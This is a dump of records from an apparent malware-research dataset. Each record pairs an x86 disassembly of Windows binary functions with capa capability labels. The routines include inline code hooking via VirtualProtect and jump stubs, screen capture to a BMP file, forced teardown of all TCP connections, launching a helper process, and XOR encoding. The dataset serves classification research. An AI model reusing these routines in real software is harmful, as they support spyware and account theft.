joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001cf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x1c
mov eax, dword [0x10007018]
xor eax, esp
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0x28]
push esi
mov dword [esp + 8], eax
xor eax, eax
push edi
mov dword [esp + 0x10], ecx
mov byte [esp + 0x1c], 0x68
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], al
mov byte [esp + 0x21], 0xc3
mov byte [esp + 0x14], 0xe9
mov byte [esp + 0x15], al
mov byte [esp + 0x16], al
mov byte [esp + 0x17], al
mov byte [esp + 0x18], al
xor edi, edi
lea esi, [ebx + edi]
call fcn.10001e30
cmp eax, 0xffffffff
je 0x10001e10
add edi, eax
cmp edi, 6
jb 0x10001d44
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push edi
push ebx
push eax
mov dword [edx], edi
call sub.MSVCR80.dll_memcpy
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x40
mov ecx, ebx
sub ecx, ebp
lea esi, [edi + edi]
push esi
sub ecx, 5
push ebp
mov dword [esp + 0x25], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001e10
push edi
push ebx
push ebp
call sub.MSVCR80.dll_memcpy
mov eax, dword [esp + 0x20]
mov cl, byte [esp + 0x24]
add esp, 0xc
mov dword [edi + ebp], eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
push esi
mov byte [edi + ebp + 4], cl
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebp
call edi
test eax, eax
je 0x10001e10
lea ecx, [esp + 0xc]
push ecx
push 0x40
push esi
push ebx
call edi
test eax, eax
je 0x10001e10
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x1d], edx
mov eax, dword [esp + 0x1c]
mov cx, word [esp + 0x20]
mov dword [ebx], eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
push esi
push ebx
mov word [ebx + 4], cx
call edi
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebp
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.1000431f
add esp, 0x1c
ret
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
xor ecx, esp
xor eax, eax
call fcn.1000431f
add esp, 0x1c
ret
Function at 0x10001fa0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x298
mov eax, dword [0x10007018]
xor eax, esp
mov dword [esp + 0x294], eax
mov eax, dword [esp + 0x29c]
test eax, eax
je 0x100020c9
test ecx, ecx
je 0x100020c9
mov edx, dword [0x10009680]
push edx
push ecx
push eax
lea eax, [esp + 0x16c]
push str._s__s__d
push eax
call dword [sym.imp.MSVCR80.dll_sprintf]
push 0x40
lea ecx, [esp + 0x2c]
push 0
push ecx
mov dword [esp + 0x30], 0
call sub.MSVCR80.dll_memset
add esp, 0x20
xor eax, eax
push 0x104
lea edx, [esp + 0x5c]
push edx
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x58]
push 0x5c
push eax
call dword [sym.imp.MSVCR80.dll_strrchr]
mov byte [eax + 1], 0
lea eax, [esp + 0x60]
add esp, 8
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x10002048
mov ecx, dword [str.model2.dat]
mov edx, dword [0x100059e8]
mov dword [eax], ecx
mov cx, word [0x100059ec]
mov dword [eax + 4], edx
mov dl, byte [0x100059ee]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [esp]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea edx, [esp + 0x180]
push edx
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100020c9
mov ecx, dword [esp]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov ecx, dword [esp + 0x294]
xor ecx, esp
call fcn.1000431f
add esp, 0x298
ret
mov ecx, dword [esp + 0x294]
xor ecx, esp
xor eax, eax
call fcn.1000431f
add esp, 0x298
ret
Function at 0x10002190
Capabilities:
Delete file

Disassembly:
sub esp, 0x194
mov eax, dword [0x10007018]
xor eax, esp
mov dword [esp + 0x18c], eax
push ebx
push edi
xor ebx, ebx
push ebx
lea eax, [esp + 0x20]
mov edi, ecx
push eax
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call sub.gdiplus.dll_GdiplusStartup
lea edx, [esp + 0x50]
push edx
call fcn.100022c0
add esp, 4
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x10], vtable.Gdiplus::Image.0
mov dword [esp + 0x14], ebx
call sub.gdiplus.dll_GdipLoadImageFromFile
mov ecx, dword [0x100051d0]
mov edx, dword [0x100051d4]
mov dword [esp + 0x10], eax
mov eax, dword [0x100051d8]
mov dword [esp + 0x34], ecx
mov ecx, dword [0x100051dc]
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x30]
push eax
mov dword [esp + 0x3c], edx
mov dword [esp + 0x44], ecx
lea ecx, [esp + 0x54]
lea edx, [esp + 0x1c]
push ecx
mov dword [esp + 0x54], edx
mov edx, dword [esp + 0x14]
push edi
push edx
mov dword [esp + 0x40], 1
mov dword [esp + 0x58], 4
mov dword [esp + 0x54], 1
mov dword [esp + 0x28], 0x19
call sub.gdiplus.dll_GdipSaveImageToFile
cmp eax, ebx
je 0x10002262
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xc]
mov edi, vtable.Gdiplus::Image.0
push eax
mov dword [esp + 0xc], edi
call sub.gdiplus.dll_GdipDisposeImage
push esi
lea ecx, [esp + 0x64]
push 0x10005a3c
push ecx
call dword [sym.imp.MSVCR80.dll_sprintf]
add esp, 0xc
lea edx, [esp + 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0xc]
push eax
mov dword [esp + 0xc], edi
call sub.gdiplus.dll_GdipDisposeImage
mov ecx, dword [esp + 0x194]
pop edi
pop ebx
xor ecx, esp
call fcn.1000431f
add esp, 0x194
ret
Function at 0x10002450
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x198
mov eax, dword [0x10007018]
xor eax, esp
mov dword [esp + 0x194], eax
push 0x63
lea eax, [esp + 9]
push 0
push eax
mov byte [esp + 0x10], 0
call sub.MSVCR80.dll_memset
lea edx, [esp + 0x74]
add esp, 0xc
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10002482
lea eax, [esp + 0x68]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x10002495
mov ecx, dword [str.Version.cfg]
mov edx, dword [0x10005a44]
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x10005a48]
push 3
mov dword [eax + 4], edx
mov dl, byte [0x10005a4c]
push 0
mov dword [eax + 8], ecx
push 1
mov byte [eax + 0xc], dl
push 0x80000000
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x100024fe
xor eax, eax
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.1000431f
add esp, 0x198
ret
push 0
lea ecx, [esp + 4]
push ecx
push 0x32
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100024e7
lea edx, [esp + 4]
mov ecx, str.Version_69_r_n
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10002540
test al, al
je 0x1000253c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10002540
add ecx, 2
add edx, 2
test al, al
jne 0x10002520
xor eax, eax
jmp 0x10002545
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.1000431f
add esp, 0x198
ret
Function at 0x10002570
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x88
xor eax, eax
push ebx
push ebp
push esi
push edi
xor edi, edi
push edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x5c], edi
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov word [esp + 0x20], di
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
call dword [sym.imp.USER32.dll_GetWindowDC]
mov ebx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov esi, eax
push 8
push esi
call ebx
push 0xa
push esi
mov ebp, eax
call ebx
push esi
mov dword [esp + 0x98], eax
mov dword [esp + 0x30], 0x28
mov dword [esp + 0x34], ebp
mov dword [esp + 0x38], eax
mov word [esp + 0x3c], 1
mov word [esp + 0x3e], 0x18
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push edi
push edi
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push edi
lea ecx, [esp + 0x3c]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_CreateDIBSection]
push eax
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esp + 0x94]
mov edi, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
push 0xcc0020
add edx, 1
push edx
add ebp, 1
push ebp
push 0
push 0
push esi
push edi
push eax
push 0
push 0
mov dword [esp + 0xa8], eax
push ebx
call dword [sym.imp.GDI32.dll_StretchBlt]
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x9c]
push 0
mov dword [esp + 0x64], edi
imul edi, eax
push 0x80
push 2
push 0
push 0
mov dword [esp + 0x70], eax
lea edi, [edi + edi*2]
push 0x40000000
lea eax, [edi + 0x36]
push ecx
mov dword [esp + 0x74], 0x28
mov word [esp + 0x80], 1
mov word [esp + 0x82], 0x18
mov word [esp + 0x38], 0x4d42
mov dword [esp + 0x42], 0x36
mov dword [esp + 0x3a], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002706
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [esp + 0x18]
push edx
push 0xe
lea eax, [esp + 0x28]
push eax
push esi
mov dword [esp + 0x28], 0
call ebp
push 0
lea ecx, [esp + 0x18]
push ecx
push 0x28
lea edx, [esp + 0x64]
push edx
push esi
call ebp
mov ecx, dword [esp + 0x18]
push 0
lea eax, [esp + 0x18]
push eax
push edi
push ecx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x88
ret
Function at 0x10003bf0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x504
mov eax, dword [0x10007018]
xor eax, esp
mov dword [esp + 0x4fc], eax
push ebx
xor ebx, ebx
push edi
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10009648]
mov byte [esp + eax + 0x2a0], cl
add eax, 1
cmp cl, bl
jne 0x10003c10
mov ecx, dword [0x10005ad4]
mov eax, dword [str.ActiveMibao.asp]
mov edx, dword [0x10005ad8]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x68], eax
mov eax, dword [0x10005adc]
lea ecx, [esp + 0x2a0]
push 0x5c
push ecx
mov dword [esp + 0x78], edx
mov dword [esp + 0x7c], eax
call dword [sym.imp.MSVCR80.dll_strchr]
add esp, 8
cmp eax, ebx
je 0x10003ccd
mov byte [eax], bl
add eax, 1
lea edx, [esp + 0x68]
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x10003c70
lea edi, [esp + 0x68]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x10003c83
mov dx, word [0x1000592c]
lea eax, [esp + 0x68]
mov word [edi], dx
add eax, 0xffffffff
mov edi, edi
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x10003ca0
mov ecx, dword [str.ActiveMibao.asp]
mov edx, dword [0x10005ad4]
mov dword [eax], ecx
mov ecx, dword [0x10005ad8]
mov dword [eax + 4], edx
mov edx, dword [0x10005adc]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, dword [0x10009680]
push eax
push 0x10009688
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0x2ac]
push edx
lea eax, [esp + 0x3e0]
push str._s__s_d10_s__d
push eax
call dword [sym.imp.MSVCR80.dll_sprintf]
push 0x40
lea ecx, [esp + 0x40]
push ebx
push ecx
mov dword [esp + 0x44], ebx
call sub.MSVCR80.dll_memset
add esp, 0x24
push 0x104
lea edx, [esp + 0x19c]
xor eax, eax
push edx
push ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x198]
push 0x5c
push eax
call dword [sym.imp.MSVCR80.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [esp + 0x1a0]
add esp, 8
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x10003d58
mov ecx, dword [str.model2.dat]
mov edx, dword [0x100059e8]
mov dword [eax], ecx
mov cx, word [0x100059ec]
mov dword [eax + 4], edx
mov dl, byte [0x100059ee]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea edx, [esp + 0x3f0]
push edx
lea eax, [esp + 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10003dc9
pop edi
pop ebx
mov ecx, dword [esp + 0x4fc]
xor ecx, esp
call fcn.1000431f
add esp, 0x504
ret
mov ecx, dword [esp + 0x10]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0xc]
push edx
push eax
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [esp + 0x504]
mov eax, dword [esp + 0xc]
pop edi
pop ebx
xor ecx, esp
call fcn.1000431f
add esp, 0x504
ret
Function at 0x10004280
Capabilities:
Set tcp connection state

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
push 0x18
push ebx
mov dword [esp + 0x18], ebx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov esi, eax
cmp esi, ebx
je 0x10004319
push 1
lea eax, [esp + 0x14]
push eax
push esi
mov dword [esp + 0x1c], 0x18
call sub.iphlpapi.dll_GetTcpTable
cmp eax, 0x7a
jne 0x100042db
push esi
push ebx
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call ebp
push eax
call edi
mov esi, eax
cmp esi, ebx
je 0x10004319
push 1
lea edx, [esp + 0x14]
push edx
push esi
call sub.iphlpapi.dll_GetTcpTable
test eax, eax
jne 0x10004309
cmp dword [esi], ebx
jle 0x10004309
lea edi, [esi + 4]
push edi
mov dword [edi], 0xc
call sub.iphlpapi.dll_SetTcpEntry
add ebx, 1
add edi, 0x14
cmp ebx, dword [esi]
jl 0x100042f3
test esi, esi
je 0x10004319
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x1000431f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10007018]
jne 0x10004329
repz ret
jmp fcn.100046a7
Function at 0x401280
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
sub esp, 0x114
push ebx
mov ebx, dword [esp + 0x11c]
push ebp
push esi
test ebx, ebx
push edi
jne 0x4012a9
push 0xaa
push str.C:My_ProgramsCMPQDraftCommon.cpp
push str.lpszGameKey
call fcn.00401960
mov eax, dword [esp + 0x12c]
test eax, eax
jne 0x4012c8
push 0xab
push str.C:My_ProgramsCMPQDraftCommon.cpp
push str.lpszGameValue
call fcn.00401960
mov eax, dword [esp + 0x130]
test eax, eax
jne 0x4012e7
push 0xac
push str.C:My_ProgramsCMPQDraftCommon.cpp
push str.lpszFileName
call fcn.00401960
mov eax, dword [esp + 0x134]
test eax, eax
jne 0x401306
push 0xad
push str.C:My_ProgramsCMPQDraftCommon.cpp
push str.lpszFilePath
call fcn.00401960
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0x10]
push eax
push ebx
push 0x80000002
xor esi, esi
mov dword [esp + 0x20], 0x105
call edi
mov ebp, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
test eax, eax
jne 0x4013a4
lea ecx, [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x130]
lea eax, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x18]
push eax
push esi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401391
lea eax, [esp + 0x1c]
push eax
call ebp
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401391
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x401391
mov esi, 1
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40142d
lea eax, [esp + 0x10]
push eax
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x401440
lea ecx, [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x130]
lea eax, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x18]
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40141e
lea eax, [esp + 0x1c]
push eax
call ebp
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40141e
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x40141e
mov esi, 1
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x401440
mov ecx, dword [esp + 0x134]
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
Function at 0x401780
Capabilities:
Check if file exists

Disassembly:
mov eax, dword [0x404564]
test eax, eax
jne 0x4017a2
push 0x95
push str.C:My_ProgramsCMPQDraftStubMPQStub.cpp
push str.lpStubData
call fcn.00401960
mov eax, dword [0x404564]
push esi
mov esi, dword [esp + 8]
test esi, esi
jne 0x4017c4
push 0x96
push str.C:My_ProgramsCMPQDraftStubMPQStub.cpp
push str.lpszFilePath
call fcn.00401960
mov eax, dword [0x404564]
mov ecx, dword [eax + 0x14]
test ecx, ecx
je 0x4017e9
lea ecx, [eax + 0x88]
push esi
lea edx, [eax + 0x78]
push ecx
add eax, 0x38
push edx
push eax
call fcn.00401280
add esp, 0x10
test eax, eax
jne 0x4017f6
pop esi
ret
add eax, 0x88
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
neg eax
sbb eax, eax
pop esi
neg eax
ret

Function at 0x401960
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x400
push eax
push ecx
push edx
lea eax, [esp + 0xc]
push str.Assertion_Failed__n_nExpression:__s_nFile:__s_nLine:__d_n_nAn_assertion_failure_indicates_a_serious_failure_in_an_napplication._You_should_contact_the_author_immediately_nwith_the_information_shown_above._n_n_The_application_will_now_close_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [esp]
push 0x42010
push str.Assertion_Failure
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4019b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x415570]
sub esp, 0x10
test eax, eax
je 0x4019c5
mov eax, 1
add esp, 0x10
ret
push ebx
push ebp
push esi
push edi
mov ecx, 0x3fd
xor eax, eax
mov edi, 0x404578
mov ebx, 0x83a561e3
rep stosd dword es:[edi], eax
mov ecx, 1
mov eax, 0x3fd
mov edi, 0xc857a40e
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0x28ba93cc
mov dword [esp + 0x14], eax
xor esi, esi
test eax, eax
jbe 0x401a65
xor ebp, ebp
shl ecx, 7
mov dword [esp + 0x1c], ecx
push ebx
push edi
push esi
call fcn.00401ad0
mov eax, esi
xor edx, edx
mov ecx, 0x3fd
add esp, 0xc
div ecx
mov ecx, esi
and ecx, 0xf
mov edx, dword [edx*4 + 0x404578]
mov eax, edx
add edx, 0x1d1d1d1e
shr eax, cl
mov ecx, ebx
and ecx, 0x54545454
sub ecx, eax
add edi, ecx
mov ecx, dword [esp + 0x1c]
mov eax, edi
and eax, 0xbcbcbcbc
add eax, ebp
add ebp, ecx
xor eax, edx
mov edx, dword [esp + 0x10]
sub ebx, eax
mov eax, dword [esp + 0x14]
add esi, edx
cmp esi, eax
jb 0x401a0a
mov ecx, edx
mov edx, ecx
add eax, 0x7fa
xor edx, 0xbabababa
add ecx, 2
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
lea edx, [edx + ebx*8]
xor edx, 0x8dc9de86
sub edi, edx
mov edx, dword [esp + 0x18]
mov esi, edi
sub esi, edx
add edx, 0x51752798
xor esi, 0xfe434b6b
mov dword [esp + 0x18], edx
add ebx, esi
cmp eax, 0x23e5
jb 0x4019fb
push str.Hydroxypropyl_Methylcellulose
push 0xe
push 0x405570
call fcn.00401cc0
pop edi
mov eax, 1
pop esi
pop ebp
mov dword [0x415570], eax
pop ebx
add esp, 0x10
ret
Function at 0x401cc0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x814
test eax, eax
jne 0x401ce2
push 0x17d
push str.C:My_ProgramsCCommonQCrypt.cpp
push str.lpCYKKey
call fcn.00401960
push ebx
mov ebx, dword [esp + 0x824]
push ebp
push esi
test ebx, ebx
push edi
jne 0x401d05
push 0x17e
push str.C:My_ProgramsCCommonQCrypt.cpp
push str.lpszPassword
call fcn.00401960
mov edi, dword [esp + 0x82c]
cmp edi, 6
jae 0x401d2a
cmp edi, 0x14
jbe 0x401d2a
push 0x17f
push str.C:My_ProgramsCCommonQCrypt.cpp
push str.dwStrength___CYK_MIN_KEY_STRENGTH__dwStrength___CYK_MAX_KEY_STRENGTH
call fcn.00401960
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
test esi, esi
jbe 0x401d3f
cmp esi, 0x100
jbe 0x401d53
push 0x182
push str.C:My_ProgramsCCommonQCrypt.cpp
push str.dwPassSize___0__dwPassSize___CYK_MAX_PASS_LENGTH
call fcn.00401960
mov ebp, 1
mov ecx, edi
mov edi, dword [esp + 0x828]
xor eax, eax
shl ebp, cl
test esi, esi
mov edx, 0x3526c34b
mov ecx, ebp
rep stosd dword es:[edi], eax
jbe 0x401db0
mov cl, byte [eax + ebx]
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov edi, ecx
and ecx, 0xf
imul edi, edi, 0xa654d
rol edi, 7
xor edi, edx
add ecx, 0xd
add edi, 0x21ab7
inc eax
mov edx, edi
ror edi, cl
cmp eax, esi
mov dword [esp + eax*4 + 0x14], edi
jb 0x401d72
cmp eax, 0x100
jae 0x401ddd
mov ecx, edx
imul ecx, ecx, 0xa654d
rol ecx, 5
xor ecx, edx
add ecx, 0x21ab7
mov edx, ecx
mov ecx, eax
and ecx, 0xf
mov esi, edx
add ecx, 0xb
inc eax
ror esi, cl
cmp eax, 0x100
mov dword [esp + eax*4 + 0x14], esi
jb 0x401db0
lea edx, [esp + 0x14]
push 1
push edx
call fcn.00402910
add esp, 8
xor esi, esi
test ebp, ebp
jbe 0x401e30
mov ecx, dword [esp + 0x14]
mov eax, ecx
dec ecx
test eax, eax
mov dword [esp + 0x14], ecx
jne 0x401e1c
lea ecx, [esp + 0x14]
push ecx
call fcn.00402630
mov eax, dword [esp + 0x418]
add esp, 4
mov ecx, 0xff
jmp 0x401e20
mov eax, dword [esp + ecx*4 + 0x18]
mov edx, dword [esp + 0x828]
inc esi
cmp esi, ebp
mov dword [edx + esi*4 - 4], eax
jb 0x401df6
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret 0xc

Function at 0x402140
Capabilities:
Delete file

Disassembly:
push esi
push 0x415580
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [0x415598]
test esi, esi
je 0x40217c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_free]
push edi
mov edi, dword [esi]
lea eax, [esi + 4]
push eax
call ebx
push esi
call ebp
add esp, 4
mov esi, edi
test edi, edi
jne 0x402165
pop edi
pop ebp
pop ebx
xor eax, eax
push 0x415580
mov dword [0x41559c], eax
mov dword [0x415598], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop esi
ret